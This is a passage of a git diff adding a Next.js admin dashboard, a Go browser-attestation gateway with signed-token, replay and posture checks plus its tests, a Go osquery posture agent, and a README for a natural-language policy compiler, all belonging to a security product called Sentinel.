+ ); +} diff --git a/sentinel-core/services/admin-dashboard/components/nav.tsx b/sentinel-core/services/admin-dashboard/components/nav.tsx new file mode 100644 index 00000000..117a2e0c --- /dev/null +++ b/sentinel-core/services/admin-dashboard/components/nav.tsx @@ -0,0 +1,34 @@ +"use client"; + +// Copyright (c) 2026 NNSEC Sentinel +// SPDX-License-Identifier: AGPL-3.0-only + +import Link from "next/link"; +import { usePathname } from "next/navigation"; + +const links = [ + { href: "/", label: "Overview" }, + { href: "/tenants", label: "Tenants" }, + { href: "/devices", label: "Devices" }, + { href: "/login", label: "Login" }, +]; + +export function Nav() { + const pathname = usePathname(); + + return ( + + ); +} diff --git a/sentinel-core/services/admin-dashboard/next-env.d.ts b/sentinel-core/services/admin-dashboard/next-env.d.ts new file mode 100644 index 00000000..4523812f --- /dev/null +++ b/sentinel-core/services/admin-dashboard/next-env.d.ts @@ -0,0 +1,6 @@ +/// +/// + +// NOTE: This file should not be edited manually. +// SPDX-License-Identifier: AGPL-3.0-only + diff --git a/sentinel-core/services/admin-dashboard/next.config.ts b/sentinel-core/services/admin-dashboard/next.config.ts new file mode 100644 index 00000000..ba684a6c --- /dev/null +++ b/sentinel-core/services/admin-dashboard/next.config.ts @@ -0,0 +1,13 @@ +/** + * SPDX-License-Identifier: AGPL-3.0-only + */ +import type { NextConfig } from "next"; + +const nextConfig: NextConfig = { + reactStrictMode: true, + experimental: { + typedRoutes: true + } +}; + +export default nextConfig; diff --git a/sentinel-core/services/admin-dashboard/package.json b/sentinel-core/services/admin-dashboard/package.json new file mode 100644 index 00000000..f147c2e6 --- /dev/null +++ b/sentinel-core/services/admin-dashboard/package.json @@ -0,0 +1,25 @@ +{ + "name": "sentinel-admin-dashboard", + "version": "0.1.0", + "private": true, + "license": "AGPL-3.0-only", + "scripts": { + "dev": "next dev", + "build": "next build", + "start": "next start", + "lint": "next lint", + "test": "node --test ./tests/routes.test.mjs" + }, + "dependencies": { + "next": "15.0.0", + "react": "18.3.1", + "react-dom": "18.3.1", + "zustand": "4.5.4" + }, + "devDependencies": { + "@types/node": "20.14.10", + "@types/react": "18.3.3", + "@types/react-dom": "18.3.0", + "typescript": "5.5.4" + } +} diff --git a/sentinel-core/services/admin-dashboard/tests/routes.test.mjs b/sentinel-core/services/admin-dashboard/tests/routes.test.mjs new file mode 100644 index 00000000..01f96d04 --- /dev/null +++ b/sentinel-core/services/admin-dashboard/tests/routes.test.mjs @@ -0,0 +1,22 @@ +// Copyright (c) 2026 NNSEC Sentinel +// SPDX-License-Identifier: AGPL-3.0-only +import test from "node:test"; +import assert from "node:assert/strict"; +import { existsSync } from "node:fs"; +import { join } from "node:path"; + +const root = process.cwd(); +const requiredRoutes = [ + "app/page.tsx", + "app/(auth)/login/page.tsx", + "app/(app)/tenants/page.tsx", + "app/(app)/devices/page.tsx", +]; + +test("required route files exist", () => { + for (const route of requiredRoutes) { + const file = join(root, route); + assert.equal(existsSync(file), true, `missing ${route}`); + } +}); + diff --git a/sentinel-core/services/admin-dashboard/tsconfig.json b/sentinel-core/services/admin-dashboard/tsconfig.json new file mode 100644 index 00000000..e0d07bda --- /dev/null +++ b/sentinel-core/services/admin-dashboard/tsconfig.json @@ -0,0 +1,24 @@ +{ + "compilerOptions": { + "target": "ES2022", + "lib": ["dom", "dom.iterable", "es2022"], + "allowJs": false, + "skipLibCheck": true, + "strict": true, + "noEmit": true, + "esModuleInterop": true, + "module": "esnext", + "moduleResolution": "bundler", + "resolveJsonModule": true, + "isolatedModules": true, + "jsx": "preserve", + "incremental": true, + "plugins": [{ "name": "next" }], + "baseUrl": ".", + "paths": { + "@/*": ["./*"] + } + }, + "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"], + "exclude": ["node_modules"] +} diff --git a/sentinel-core/services/attestation-gateway/README.md b/sentinel-core/services/attestation-gateway/README.md new file mode 100644 index 00000000..bcf6bb05 --- /dev/null +++ b/sentinel-core/services/attestation-gateway/README.md @@ -0,0 +1,49 @@ +# Sentinel Attestation Gateway PoC + +This service enforces browser-only access checks in front of an IdP by combining: + +1. mTLS verification signal from edge proxy/LB. +2. Signed `X-Sentinel-Attestation` header (Ed25519 JWS). +3. Conditional access guards (source CIDR + User-Agent prefix). +4. Replay protection (nonce cache + timestamp freshness). + +## Threat-model notes + +- **Threat**: Chrome or unmanaged browser attempts direct IdP login. + - **Mitigation**: deny when mTLS and signed attestation are absent. +- **Threat**: Replay of previously captured attestation header. + - **Mitigation**: nonce cache + 60-second freshness window. +- **Threat**: Stolen browser token from low-posture endpoint. + - **Mitigation**: posture threshold check before forward. + +## Observability hooks + +- Per-decision JSON response reason codes for allow/deny. +- Freshness/replay/UA/IP reject reasons available for log aggregation. +- `GET /healthz` endpoint for basic liveness. + +## Run locally + +```bash +cd services/attestation-gateway +SENTINEL_KEYS='device-123:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=' \ +go run ./cmd/gateway +``` + +## Environment variables + +| Variable | Default | Description | +|---|---|---| +| `LISTEN_ADDR` | `:8090` | HTTP listen address | +| `SENTINEL_KEYS` | required | device-to-public-key map (`device_id:base64pubkey,...`) | +| `SENTINEL_MIN_POSTURE` | `80` | minimum posture score | +| `SENTINEL_FRESHNESS_SECONDS` | `60` | max age of attestation timestamp | +| `SENTINEL_ALLOWED_UA_PREFIX` | `NNSECSentinel/` | allowed browser user-agent prefix | +| `SENTINEL_ALLOWED_CIDRS` | localhost + RFC1918 | allowlisted source networks | + +## Tests + +```bash +cd services/attestation-gateway +go test ./... +``` diff --git a/sentinel-core/services/attestation-gateway/cmd/gateway/main.go b/sentinel-core/services/attestation-gateway/cmd/gateway/main.go new file mode 100644 index 00000000..c438b55f --- /dev/null +++ b/sentinel-core/services/attestation-gateway/cmd/gateway/main.go @@ -0,0 +1,33 @@ +// Copyright (c) 2026 NNSEC Sentinel +// SPDX-License-Identifier: AGPL-3.0-only +package main + +import ( + "log" + "net/http" + "os" + + "github.com/nnsec-sentinel/project-sentinel/services/attestation-gateway/internal/gateway" +) + +func main() { + cfg, err := gateway.LoadConfigFromEnv() + if err != nil { + log.Fatalf("load config: %v", err) + } + + authz := gateway.NewAuthorizer(cfg) + mux := http.NewServeMux() + mux.HandleFunc("/healthz", authz.Healthz) + mux.HandleFunc("/authorize", authz.Authorize) + + addr := os.Getenv("LISTEN_ADDR") + if addr == "" { + addr = ":8090" + } + + log.Printf("attestation gateway listening on %s", addr) + if err := http.ListenAndServe(addr, mux); err != nil { + log.Fatalf("server exit: %v", err) + } +} diff --git a/sentinel-core/services/attestation-gateway/go.mod b/sentinel-core/services/attestation-gateway/go.mod new file mode 100644 index 00000000..a1d1f416 --- /dev/null +++ b/sentinel-core/services/attestation-gateway/go.mod @@ -0,0 +1,3 @@ +module github.com/nnsec-sentinel/project-sentinel/services/attestation-gateway + +go 1.22 diff --git a/sentinel-core/services/attestation-gateway/internal/gateway/config.go b/sentinel-core/services/attestation-gateway/internal/gateway/config.go new file mode 100644 index 00000000..36a9ee01 --- /dev/null +++ b/sentinel-core/services/attestation-gateway/internal/gateway/config.go @@ -0,0 +1,123 @@ +// Copyright (c) 2026 NNSEC Sentinel +// SPDX-License-Identifier: AGPL-3.0-only +package gateway + +import ( + "crypto/ed25519" + "encoding/base64" + "fmt" + "net" + "os" + "strconv" + "strings" + "time" +) + +// Config holds runtime controls for browser-only IdP enforcement. +type Config struct { + MinPostureScore int + FreshnessWindow time.Duration + AllowedUAPrefix string + AllowedCIDRs []*net.IPNet + DeviceKeys map[string]ed25519.PublicKey +} + +func LoadConfigFromEnv() (Config, error) { + cfg := Config{ + MinPostureScore: 80, + FreshnessWindow: 60 * time.Second, + AllowedUAPrefix: "NNSECSentinel/", + } + + if raw := os.Getenv("SENTINEL_MIN_POSTURE"); raw != "" { + v, err := strconv.Atoi(raw) + if err != nil { + return Config{}, fmt.Errorf("parse SENTINEL_MIN_POSTURE: %w", err) + } + cfg.MinPostureScore = v + } + + if raw := os.Getenv("SENTINEL_FRESHNESS_SECONDS"); raw != "" { + v, err := strconv.Atoi(raw) + if err != nil { + return Config{}, fmt.Errorf("parse SENTINEL_FRESHNESS_SECONDS: %w", err) + } + cfg.FreshnessWindow = time.Duration(v) * time.Second + } + + if raw := os.Getenv("SENTINEL_ALLOWED_UA_PREFIX"); raw != "" { + cfg.AllowedUAPrefix = raw + } + + cidrCSV := os.Getenv("SENTINEL_ALLOWED_CIDRS") + if cidrCSV == "" { + cidrCSV = "127.0.0.1/32,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16" + } + cidrs, err := parseCIDRs(cidrCSV) + if err != nil { + return Config{}, err + } + cfg.AllowedCIDRs = cidrs + + keyMap, err := parseDeviceKeys(os.Getenv("SENTINEL_KEYS")) + if err != nil { + return Config{}, err + } + cfg.DeviceKeys = keyMap + + return cfg, nil +} + +func parseCIDRs(raw string) ([]*net.IPNet, error) { + parts := strings.Split(raw, ",") + out := make([]*net.IPNet, 0, len(parts)) + for _, part := range parts { + c := strings.TrimSpace(part) + if c == "" { + continue + } + _, ipnet, err := net.ParseCIDR(c) + if err != nil { + return nil, fmt.Errorf("invalid cidr %q: %w", c, err) + } + out = append(out, ipnet) + } + if len(out) == 0 { + return nil, fmt.Errorf("no allowed CIDRs configured") + } + return out, nil +} + +// SENTINEL_KEYS format: +// device-1:base64-ed25519-pubkey,device-2:base64-ed25519-pubkey +func parseDeviceKeys(raw string) (map[string]ed25519.PublicKey, error) { + if strings.TrimSpace(raw) == "" { + return nil, fmt.Errorf("SENTINEL_KEYS cannot be empty") + } + + out := map[string]ed25519.PublicKey{} + for _, pair := range strings.Split(raw, ",") { + pair = strings.TrimSpace(pair) + if pair == "" { + continue + } + kv := strings.SplitN(pair, ":", 2) + if len(kv) != 2 { + return nil, fmt.Errorf("invalid key mapping %q", pair) + } + deviceID := strings.TrimSpace(kv[0]) + keyB64 := strings.TrimSpace(kv[1]) + pubRaw, err := base64.StdEncoding.DecodeString(keyB64) + if err != nil { + return nil, fmt.Errorf("decode pubkey for %q: %w", deviceID, err) + } + if len(pubRaw) != ed25519.PublicKeySize { + return nil, fmt.Errorf("pubkey size for %q must be %d", deviceID, ed25519.PublicKeySize) + } + out[deviceID] = ed25519.PublicKey(pubRaw) + } + if len(out) == 0 { + return nil, fmt.Errorf("no valid keys parsed from SENTINEL_KEYS") + } + return out, nil +} diff --git a/sentinel-core/services/attestation-gateway/internal/gateway/handler.go b/sentinel-core/services/attestation-gateway/internal/gateway/handler.go new file mode 100644 index 00000000..59138a07 --- /dev/null +++ b/sentinel-core/services/attestation-gateway/internal/gateway/handler.go @@ -0,0 +1,242 @@ +// Copyright (c) 2026 NNSEC Sentinel +// SPDX-License-Identifier: AGPL-3.0-only +package gateway + +import ( + "crypto/ed25519" + "encoding/base64" + "encoding/json" + "fmt" + "net" + "net/http" + "strings" + "sync" + "time" +) + +type attestationHeader struct { + Algorithm string `json:"alg"` + KeyID string `json:"kid"` + Type string `json:"typ"` +} + +// AttestationClaims are sent by Sentinel in X-Sentinel-Attestation. +type AttestationClaims struct { + DeviceID string `json:"device_id"` + UserHint string `json:"user_hint"` + PostureScore int `json:"posture_score"` + Timestamp int64 `json:"timestamp"` + Nonce string `json:"nonce"` + BrowserVersion string `json:"browser_version"` + OSVersion string `json:"os_version"` +} + +// Authorizer enforces layered browser attestation checks before IdP access. +type Authorizer struct { + cfg Config + now func() time.Time + mu sync.Mutex + nonces map[string]time.Time +} + +func NewAuthorizer(cfg Config) *Authorizer { + return &Authorizer{ + cfg: cfg, + now: time.Now, + nonces: map[string]time.Time{}, + } +} + +func (a *Authorizer) Healthz(w http.ResponseWriter, _ *http.Request) { + writeJSON(w, http.StatusOK, map[string]any{ + "status": "ok", + }) +} + +func (a *Authorizer) Authorize(w http.ResponseWriter, r *http.Request) { + // Mechanism 1: mTLS proof forwarded by edge proxy/load balancer. + if !isMTLSVerified(r) { + deny(w, "mtls_not_verified") + return + } + + // Mechanism 4 (starter policy): user-agent and IP constraints. + if !strings.HasPrefix(r.UserAgent(), a.cfg.AllowedUAPrefix) { + deny(w, "user_agent_not_allowed") + return + } + if !a.clientIPAllowed(clientIP(r)) { + deny(w, "source_ip_not_allowed") + return + } + + // Mechanism 2: signed short-lived attestation header. + token := strings.TrimSpace(r.Header.Get("X-Sentinel-Attestation")) + if token == "" { + deny(w, "missing_attestation_header") + return + } + claims, err := a.verifyAttestationToken(token) + if err != nil { + deny(w, fmt.Sprintf("invalid_attestation:%v", err)) + return + } + + if claims.PostureScore < a.cfg.MinPostureScore { + deny(w, "posture_below_threshold") + return + } + if !a.isFresh(claims.Timestamp) { + deny(w, "stale_attestation") + return + } + if a.isReplay(claims.Nonce, claims.Timestamp) { + deny(w, "replay_nonce") + return + } + + // Bind cert subject to attested device when XFCC is available. + xfcc := r.Header.Get("X-Forwarded-Client-Cert") + if xfcc != "" && !strings.Contains(strings.ToLower(xfcc), strings.ToLower(claims.DeviceID)) { + deny(w, "cert_subject_device_mismatch") + return + } + + writeJSON(w, http.StatusOK, map[string]any{ + "allow": true, + "device_id": claims.DeviceID, + "user_hint": claims.UserHint, + "posture_score": claims.PostureScore, + "browser_version": claims.BrowserVersion, + "reason": "all_checks_passed", + }) +} + +func (a *Authorizer) verifyAttestationToken(token string) (AttestationClaims, error) { + var claims AttestationClaims + parts := strings.Split(token, ".") + if len(parts) != 3 { + return claims, fmt.Errorf("token_parts") + } + + headerRaw, err := base64.RawURLEncoding.DecodeString(parts[0]) + if err != nil { + return claims, fmt.Errorf("header_b64") + } + payloadRaw, err := base64.RawURLEncoding.DecodeString(parts[1]) + if err != nil { + return claims, fmt.Errorf("payload_b64") + } + sig, err := base64.RawURLEncoding.DecodeString(parts[2]) + if err != nil { + return claims, fmt.Errorf("signature_b64") + } + + var hdr attestationHeader + if err := json.Unmarshal(headerRaw, &hdr); err != nil { + return claims, fmt.Errorf("header_json") + } + if strings.ToUpper(hdr.Algorithm) != "EDDSA" { + return claims, fmt.Errorf("alg_not_eddsa") + } + if err := json.Unmarshal(payloadRaw, &claims); err != nil { + return claims, fmt.Errorf("claims_json") + } + if claims.DeviceID == "" || claims.Nonce == "" || claims.Timestamp == 0 { + return claims, fmt.Errorf("claims_missing_required_fields") + } + + keyID := hdr.KeyID + if keyID == "" { + keyID = claims.DeviceID + } + pub, ok := a.cfg.DeviceKeys[keyID] + if !ok { + return claims, fmt.Errorf("unknown_device_key") + } + + message := []byte(parts[0] + "." + parts[1]) + if !ed25519.Verify(pub, message, sig) { + return claims, fmt.Errorf("signature_invalid") + } + return claims, nil +} + +func (a *Authorizer) isFresh(ts int64) bool { + now := a.now().Unix() + delta := now - ts + if delta < 0 { + delta = -delta + } + return time.Duration(delta)*time.Second <= a.cfg.FreshnessWindow +} + +func (a *Authorizer) isReplay(nonce string, ts int64) bool { + a.mu.Lock() + defer a.mu.Unlock() + now := a.now() + expiration := now.Add(-a.cfg.FreshnessWindow) + for k, seen := range a.nonces { + if seen.Before(expiration) { + delete(a.nonces, k) + } + } + if _, exists := a.nonces[nonce]; exists { + return true + } + issuedAt := time.Unix(ts, 0) + if issuedAt.Before(expiration) { + return true + } + a.nonces[nonce] = now + return false +} + +func (a *Authorizer) clientIPAllowed(ip net.IP) bool { + if ip == nil { + return false + } + for _, cidr := range a.cfg.AllowedCIDRs { + if cidr.Contains(ip) { + return true + } + } + return false +} + +func isMTLSVerified(r *http.Request) bool { + if strings.EqualFold(r.Header.Get("X-Sentinel-mTLS-Verified"), "true") { + return true + } + if strings.EqualFold(r.Header.Get("X-SSL-Client-Verify"), "SUCCESS") { + return true + } + return false +} + +func clientIP(r *http.Request) net.IP { + if xff := r.Header.Get("X-Forwarded-For"); xff != "" { + first := strings.TrimSpace(strings.Split(xff, ",")[0]) + if parsed := net.ParseIP(first); parsed != nil { + return parsed + } + } + host, _, err := net.SplitHostPort(r.RemoteAddr) + if err == nil { + return net.ParseIP(host) + } + return net.ParseIP(r.RemoteAddr) +} + +func deny(w http.ResponseWriter, reason string) { + writeJSON(w, http.StatusForbidden, map[string]any{ + "allow": false, + "reason": reason, + }) +} + +func writeJSON(w http.ResponseWriter, status int, payload map[string]any) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + _ = json.NewEncoder(w).Encode(payload) +} diff --git a/sentinel-core/services/attestation-gateway/internal/gateway/handler_test.go b/sentinel-core/services/attestation-gateway/internal/gateway/handler_test.go new file mode 100644 index 00000000..f4b1d5da --- /dev/null +++ b/sentinel-core/services/attestation-gateway/internal/gateway/handler_test.go @@ -0,0 +1,195 @@ +// Copyright (c) 2026 NNSEC Sentinel +// SPDX-License-Identifier: AGPL-3.0-only +package gateway + +import ( + "crypto/ed25519" + "crypto/rand" + "encoding/base64" + "encoding/json" + "net" + "net/http" + "net/http/httptest" + "testing" + "time" +) + +func TestAuthorizeValidRequest(t *testing.T) { + deviceID := "device-123" + pub, priv, err := ed25519.GenerateKey(rand.Reader) + if err != nil { + t.Fatalf("generate key: %v", err) + } + + cfg := mustTestConfig(t, map[string]ed25519.PublicKey{deviceID: pub}) + authz := NewAuthorizer(cfg) + authz.now = func() time.Time { return time.Unix(1737900050, 0) } + + claims := AttestationClaims{ + DeviceID: deviceID, + UserHint: "firudin@bamboo-card.com", + PostureScore: 95, + Timestamp: 1737900050, + Nonce: "abc-123", + BrowserVersion: "1.4.2", + OSVersion: "macOS 14.6", + } + token := signToken(t, deviceID, claims, priv) + + req := httptest.NewRequest(http.MethodGet, "/authorize", nil) + req.RemoteAddr = "127.0.0.1:44444" + req.Header.Set("X-Sentinel-mTLS-Verified", "true") + req.Header.Set("X-Sentinel-Attestation", token) + req.Header.Set("X-Forwarded-Client-Cert", "Subject=\"CN=device-123,O=Bamboo Card\"") + req.Header.Set("User-Agent", "NNSECSentinel/1.4.2") + + rr := httptest.NewRecorder() + authz.Authorize(rr, req) + if rr.Code != http.StatusOK { + t.Fatalf("expected 200, got %d (%s)", rr.Code, rr.Body.String()) + } +} + +func TestAuthorizeReplayBlocked(t *testing.T) { + deviceID := "device-123" + pub, priv, _ := ed25519.GenerateKey(rand.Reader) + + cfg := mustTestConfig(t, map[string]ed25519.PublicKey{deviceID: pub}) + authz := NewAuthorizer(cfg) + authz.now = func() time.Time { return time.Unix(1737900050, 0) } + + claims := AttestationClaims{ + DeviceID: deviceID, + UserHint: "user@bamboo-card.com", + PostureScore: 90, + Timestamp: 1737900050, + Nonce: "same-nonce", + BrowserVersion: "1.4.2", + OSVersion: "Windows 11", + } + token := signToken(t, deviceID, claims, priv) + + req := httptest.NewRequest(http.MethodGet, "/authorize", nil) + req.RemoteAddr = "127.0.0.1:11111" + req.Header.Set("X-Sentinel-mTLS-Verified", "true") + req.Header.Set("X-Sentinel-Attestation", token) + req.Header.Set("X-Forwarded-Client-Cert", "Subject=\"CN=device-123,O=Bamboo Card\"") + req.Header.Set("User-Agent", "NNSECSentinel/1.4.2") + + rr1 := httptest.NewRecorder() + authz.Authorize(rr1, req) + if rr1.Code != http.StatusOK { + t.Fatalf("expected first request to pass, got %d", rr1.Code) + } + + rr2 := httptest.NewRecorder() + authz.Authorize(rr2, req) + if rr2.Code != http.StatusForbidden { + t.Fatalf("expected replay to fail, got %d", rr2.Code) + } +} + +func TestAuthorizePostureThresholdBlocked(t *testing.T) { + deviceID := "device-123" + pub, priv, _ := ed25519.GenerateKey(rand.Reader) + + cfg := mustTestConfig(t, map[string]ed25519.PublicKey{deviceID: pub}) + authz := NewAuthorizer(cfg) + authz.now = func() time.Time { return time.Unix(1737900050, 0) } + + claims := AttestationClaims{ + DeviceID: deviceID, + UserHint: "user@bamboo-card.com", + PostureScore: 50, + Timestamp: 1737900050, + Nonce: "nonce-low-posture", + BrowserVersion: "1.4.2", + OSVersion: "Ubuntu 24.04", + } + token := signToken(t, deviceID, claims, priv) + + req := httptest.NewRequest(http.MethodGet, "/authorize", nil) + req.RemoteAddr = "127.0.0.1:11111" + req.Header.Set("X-Sentinel-mTLS-Verified", "true") + req.Header.Set("X-Sentinel-Attestation", token) + req.Header.Set("X-Forwarded-Client-Cert", "Subject=\"CN=device-123,O=Bamboo Card\"") + req.Header.Set("User-Agent", "NNSECSentinel/1.4.2") + + rr := httptest.NewRecorder() + authz.Authorize(rr, req) + if rr.Code != http.StatusForbidden { + t.Fatalf("expected low posture to fail, got %d", rr.Code) + } +} + +func TestAuthorizeUserAgentBlocked(t *testing.T) { + deviceID := "device-123" + pub, priv, _ := ed25519.GenerateKey(rand.Reader) + + cfg := mustTestConfig(t, map[string]ed25519.PublicKey{deviceID: pub}) + authz := NewAuthorizer(cfg) + authz.now = func() time.Time { return time.Unix(1737900050, 0) } + + claims := AttestationClaims{ + DeviceID: deviceID, + UserHint: "user@bamboo-card.com", + PostureScore: 95, + Timestamp: 1737900050, + Nonce: "nonce-ua", + BrowserVersion: "1.4.2", + OSVersion: "macOS 14.6", + } + token := signToken(t, deviceID, claims, priv) + + req := httptest.NewRequest(http.MethodGet, "/authorize", nil) + req.RemoteAddr = "127.0.0.1:11111" + req.Header.Set("X-Sentinel-mTLS-Verified", "true") + req.Header.Set("X-Sentinel-Attestation", token) + req.Header.Set("X-Forwarded-Client-Cert", "Subject=\"CN=device-123,O=Bamboo Card\"") + req.Header.Set("User-Agent", "Mozilla/5.0 Chrome/123") + + rr := httptest.NewRecorder() + authz.Authorize(rr, req) + if rr.Code != http.StatusForbidden { + t.Fatalf("expected invalid UA to fail, got %d", rr.Code) + } +} + +func mustTestConfig(t *testing.T, keys map[string]ed25519.PublicKey) Config { + t.Helper() + _, cidr, err := net.ParseCIDR("127.0.0.1/32") + if err != nil { + t.Fatalf("parse cidr: %v", err) + } + return Config{ + MinPostureScore: 80, + FreshnessWindow: 60 * time.Second, + AllowedUAPrefix: "NNSECSentinel/", + AllowedCIDRs: []*net.IPNet{cidr}, + DeviceKeys: keys, + } +} + +func signToken(t *testing.T, keyID string, claims AttestationClaims, priv ed25519.PrivateKey) string { + t.Helper() + header := map[string]string{ + "alg": "EdDSA", + "kid": keyID, + "typ": "JWT", + } + headerRaw, err := json.Marshal(header) + if err != nil { + t.Fatalf("marshal header: %v", err) + } + payloadRaw, err := json.Marshal(claims) + if err != nil { + t.Fatalf("marshal claims: %v", err) + } + + headerB64 := base64.RawURLEncoding.EncodeToString(headerRaw) + payloadB64 := base64.RawURLEncoding.EncodeToString(payloadRaw) + signedPart := headerB64 + "." + payloadB64 + signature := ed25519.Sign(priv, []byte(signedPart)) + sigB64 := base64.RawURLEncoding.EncodeToString(signature) + return signedPart + "." + sigB64 +} diff --git a/sentinel-core/services/device-posture-agent/README.md b/sentinel-core/services/device-posture-agent/README.md new file mode 100644 index 00000000..84b4879c --- /dev/null +++ b/sentinel-core/services/device-posture-agent/README.md @@ -0,0 +1,21 @@ +# Sentinel Device Posture Agent (Go) + +Collects host posture attributes via osquery and sends signed reports to the backend. + +## Threat model note +- Spoofed posture payloads: mitigate by mTLS and signed payload checks. +- Agent binary tampering: signed binaries + integrity checks. + +## Build and run +```bash +go run ./cmd/agent +``` + +## Observability +- JSON logs to stdout +- report counters should be exported in future via OTEL metrics + +## Tests +```bash +go test ./... +``` diff --git a/sentinel-core/services/device-posture-agent/cmd/agent/main.go b/sentinel-core/services/device-posture-agent/cmd/agent/main.go new file mode 100644 index 00000000..1a2d8c6f --- /dev/null +++ b/sentinel-core/services/device-posture-agent/cmd/agent/main.go @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: AGPL-3.0-only +package main + +import ( + "context" + "log" + "time" + + "github.com/nnsec-sentinel/project-sentinel/services/device-posture-agent/internal/client" + "github.com/nnsec-sentinel/project-sentinel/services/device-posture-agent/internal/osq" +) + +func main() { + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + report, err := osq.CollectPosture(ctx) + if err != nil { + log.Fatalf("collect posture: %v", err) + } + + if err := client.SendReport(ctx, "http://localhost:8080/posture/report", report); err != nil { + log.Fatalf("send report: %v", err) + } + + log.Printf("posture report sent for device=%s", report.DeviceID) +} diff --git a/sentinel-core/services/device-posture-agent/go.mod b/sentinel-core/services/device-posture-agent/go.mod new file mode 100644 index 00000000..a42beccd --- /dev/null +++ b/sentinel-core/services/device-posture-agent/go.mod @@ -0,0 +1,3 @@ +module github.com/nnsec-sentinel/project-sentinel/services/device-posture-agent + +go 1.22 diff --git a/sentinel-core/services/device-posture-agent/internal/client/client.go b/sentinel-core/services/device-posture-agent/internal/client/client.go new file mode 100644 index 00000000..46fd94e3 --- /dev/null +++ b/sentinel-core/services/device-posture-agent/internal/client/client.go @@ -0,0 +1,48 @@ +// Copyright (c) NNSEC Sentinel. +// SPDX-License-Identifier: AGPL-3.0-only +package client + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "net/http" + "time" +) + +type Report struct { + DeviceID string `json:"device_id"` + CollectedAt time.Time `json:"collected_at"` + OSVersion string `json:"os_version"` + QueryResults map[string]interface{} `json:"query_results"` +} + +func Send(ctx context.Context, url string, r Report) error { + body, err := json.Marshal(r) + if err != nil { + return fmt.Errorf("marshal report: %w", err) + } + + req, err := http.NewRequestWithContext(ctx, http.MethodPost, url, bytes.NewReader(body)) + if err != nil { + return fmt.Errorf("build request: %w", err) + } + req.Header.Set("Content-Type", "application/json") + + resp, err := http.DefaultClient.Do(req) + if err != nil { + return fmt.Errorf("send report: %w", err) + } + defer resp.Body.Close() + + if resp.StatusCode > 299 { + return fmt.Errorf("server returned %d", resp.StatusCode) + } + return nil +} + +// SendReport is an explicit wrapper used by callers for readability. +func SendReport(ctx context.Context, url string, r Report) error { + return Send(ctx, url, r) +} diff --git a/sentinel-core/services/device-posture-agent/internal/client/client_test.go b/sentinel-core/services/device-posture-agent/internal/client/client_test.go new file mode 100644 index 00000000..f3644985 --- /dev/null +++ b/sentinel-core/services/device-posture-agent/internal/client/client_test.go @@ -0,0 +1,31 @@ +// Copyright (c) NNSEC Sentinel. +// SPDX-License-Identifier: AGPL-3.0-only +package client + +import ( + "context" + "net/http" + "net/http/httptest" + "testing" + "time" +) + +func TestSendReportSuccess(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + t.Fatalf("expected POST got %s", r.Method) + } + w.WriteHeader(http.StatusAccepted) + })) + defer server.Close() + + report := Report{ + DeviceID: "dev-test", + CollectedAt: time.Now().UTC(), + OSVersion: "linux", + } + if err := SendReport(context.Background(), server.URL, report); err != nil { + t.Fatalf("expected no error, got %v", err) + } +} + diff --git a/sentinel-core/services/device-posture-agent/internal/osq/osquery.go b/sentinel-core/services/device-posture-agent/internal/osq/osquery.go new file mode 100644 index 00000000..13749fd9 --- /dev/null +++ b/sentinel-core/services/device-posture-agent/internal/osq/osquery.go @@ -0,0 +1,48 @@ +// Copyright (c) NNSEC Sentinel. +// SPDX-License-Identifier: AGPL-3.0-only + +package osq + +import ( + "context" + "encoding/json" + "fmt" + "os/exec" + "runtime" + "time" + + "github.com/nnsec-sentinel/project-sentinel/services/device-posture-agent/internal/client" +) + +var queryFn = Query + +// Query runs osqueryi SQL and returns a list of rows. +func Query(sql string) ([]map[string]string, error) { + cmd := exec.Command("osqueryi", "--json", sql) + output, err := cmd.Output() + if err != nil { + return nil, fmt.Errorf("osquery failed: %w", err) + } + + var rows []map[string]string + if err := json.Unmarshal(output, &rows); err != nil { + return nil, fmt.Errorf("failed to parse osquery json: %w", err) + } + return rows, nil +} + +// CollectPosture pulls a minimal posture snapshot from osquery and local runtime data. +func CollectPosture(_ context.Context) (client.Report, error) { + results, err := queryFn("select version from os_version;") + if err != nil { + return client.Report{}, err + } + + report := client.Report{ + DeviceID: fmt.Sprintf("dev-%d", time.Now().UnixNano()), + CollectedAt: time.Now().UTC(), + OSVersion: runtime.GOOS, + QueryResults: map[string]interface{}{"os_version": results}, + } + return report, nil +} diff --git a/sentinel-core/services/device-posture-agent/internal/osq/osquery_test.go b/sentinel-core/services/device-posture-agent/internal/osq/osquery_test.go new file mode 100644 index 00000000..7d140ef2 --- /dev/null +++ b/sentinel-core/services/device-posture-agent/internal/osq/osquery_test.go @@ -0,0 +1,25 @@ +// Copyright (c) NNSEC Sentinel. +// SPDX-License-Identifier: AGPL-3.0-only +package osq + +import ( + "context" + "testing" +) + +func TestCollectPostureWithStubQuery(t *testing.T) { + original := queryFn + queryFn = func(_ string) ([]map[string]string, error) { + return []map[string]string{{"version": "1.0"}}, nil + } + t.Cleanup(func() { queryFn = original }) + + report, err := CollectPosture(context.Background()) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if report.DeviceID == "" { + t.Fatalf("expected non-empty device id") + } +} + diff --git a/sentinel-core/services/nl-policy-compiler/README.md b/sentinel-core/services/nl-policy-compiler/README.md new file mode 100644 index 00000000..03bd88f0 --- /dev/null +++ b/sentinel-core/services/nl-policy-compiler/README.md @@ -0,0 +1,25 @@ +# NL to Policy Compiler PoC + +## Purpose +Converts plain-English policy requests into Sentinel Rego policy fragments using Claude with deterministic post-validation. + +## Threat Model Notes +- Prompt injection attempts are constrained by strict instruction templates and output schema validation. +- API keys are consumed from environment variables and never logged. +- Generated policies are checked against deny-list patterns before acceptance. + +## Run +```bash +npm install +ANTHROPIC_API_KEY=... npm run compile -- "contractors cannot download from github.com" +``` + +## Test +```bash +npm run test +``` + +## Observability +- Structured logs include trace IDs and prompt hash, not full prompts. +- Metrics: compile latency p95 target < 1500 ms, rejection rate, invalid syntax rate. + diff --git a/sentinel-core/services/nl-policy-compiler/package.json b/sentinel-core/services/nl-policy-compiler/package.json new file mode 100644 index 00000000..e1c75eca --- /dev/null +++ 